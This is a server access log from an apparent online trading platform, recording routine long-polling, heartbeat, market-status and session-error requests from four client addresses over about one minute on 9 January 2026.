[09/Jan/2026:10:39:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926626061 HTTP/1.1" -
[09/Jan/2026:10:39:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926626995 HTTP/1.1" -
[09/Jan/2026:10:39:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926644352 HTTP/1.1" -
[09/Jan/2026:10:39:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926632958 HTTP/1.1" -
[09/Jan/2026:10:39:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926632015 HTTP/1.1" -
[09/Jan/2026:10:39:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926632059 HTTP/1.1" -
[09/Jan/2026:10:39:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:39:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:39:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926649375 HTTP/1.1" -
[09/Jan/2026:10:39:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926638080 HTTP/1.1" -
[09/Jan/2026:10:39:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926637042 HTTP/1.1" -
[09/Jan/2026:10:39:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926638060 HTTP/1.1" -
[09/Jan/2026:10:39:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:39:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:39:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:39:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:39:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:39:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:39:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:39:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:39:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926655260 HTTP/1.1" -
[09/Jan/2026:10:39:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926643268 HTTP/1.1" -
[09/Jan/2026:10:39:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926642067 HTTP/1.1" -
[09/Jan/2026:10:39:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926644060 HTTP/1.1" -
[09/Jan/2026:10:39:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926648398 HTTP/1.1" -
[09/Jan/2026:10:39:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926661236 HTTP/1.1" -
[09/Jan/2026:10:39:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926647092 HTTP/1.1" -
[09/Jan/2026:10:39:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:39:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:39:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:39:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:39:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926650060 HTTP/1.1" -
[09/Jan/2026:10:39:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926653548 HTTP/1.1" -
[09/Jan/2026:10:39:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926652141 HTTP/1.1" -
[09/Jan/2026:10:39:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926667237 HTTP/1.1" -
[09/Jan/2026:10:39:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926658622 HTTP/1.1" -
[09/Jan/2026:10:39:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:39:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:39:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926656045 HTTP/1.1" -
[09/Jan/2026:10:39:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926657192 HTTP/1.1" -
[09/Jan/2026:10:39:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926673233 HTTP/1.1" -
[09/Jan/2026:10:39:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926663905 HTTP/1.1" -
[09/Jan/2026:10:39:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926662221 HTTP/1.1" -
[09/Jan/2026:10:39:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926662060 HTTP/1.1" -
[09/Jan/2026:10:39:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:39:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:39:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926679222 HTTP/1.1" -
[09/Jan/2026:10:39:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926669013 HTTP/1.1" -
[09/Jan/2026:10:39:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926667256 HTTP/1.1" -
[09/Jan/2026:10:39:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926668060 HTTP/1.1" -
[09/Jan/2026:10:40:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:40:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:40:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926685286 HTTP/1.1" -
[09/Jan/2026:10:40:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:40:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:40:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926674163 HTTP/1.1" -
[09/Jan/2026:10:40:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926672288 HTTP/1.1" -
[09/Jan/2026:10:40:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926674060 HTTP/1.1" -
[09/Jan/2026:10:40:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926691237 HTTP/1.1" -
[09/Jan/2026:10:40:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926679348 HTTP/1.1" -
[09/Jan/2026:10:40:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:40:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:40:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926677310 HTTP/1.1" -
[09/Jan/2026:10:40:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:40:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:40:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926680062 HTTP/1.1" -
[09/Jan/2026:10:40:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926684483 HTTP/1.1" -
[09/Jan/2026:10:40:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926682350 HTTP/1.1" -
[09/Jan/2026:10:40:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926697226 HTTP/1.1" -
[09/Jan/2026:10:40:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:40:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926686060 HTTP/1.1" -
[09/Jan/2026:10:40:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:40:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926689551 HTTP/1.1" -
[09/Jan/2026:10:40:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926687378 HTTP/1.1" -
[09/Jan/2026:10:40:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926703224 HTTP/1.1" -
[09/Jan/2026:10:40:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926694694 HTTP/1.1" -
[09/Jan/2026:10:40:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926692408 HTTP/1.1" -
[09/Jan/2026:10:40:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926692059 HTTP/1.1" -
[09/Jan/2026:10:40:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:40:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:40:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926709229 HTTP/1.1" -
[09/Jan/2026:10:40:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926699815 HTTP/1.1" -
[09/Jan/2026:10:40:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926697434 HTTP/1.1" -
[09/Jan/2026:10:40:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926698059 HTTP/1.1" -
[09/Jan/2026:10:40:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:40:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:40:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:40:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:40:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926715222 HTTP/1.1" -
[09/Jan/2026:10:40:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926702452 HTTP/1.1" -
[09/Jan/2026:10:40:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926704940 HTTP/1.1" -
[09/Jan/2026:10:40:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926704062 HTTP/1.1" -
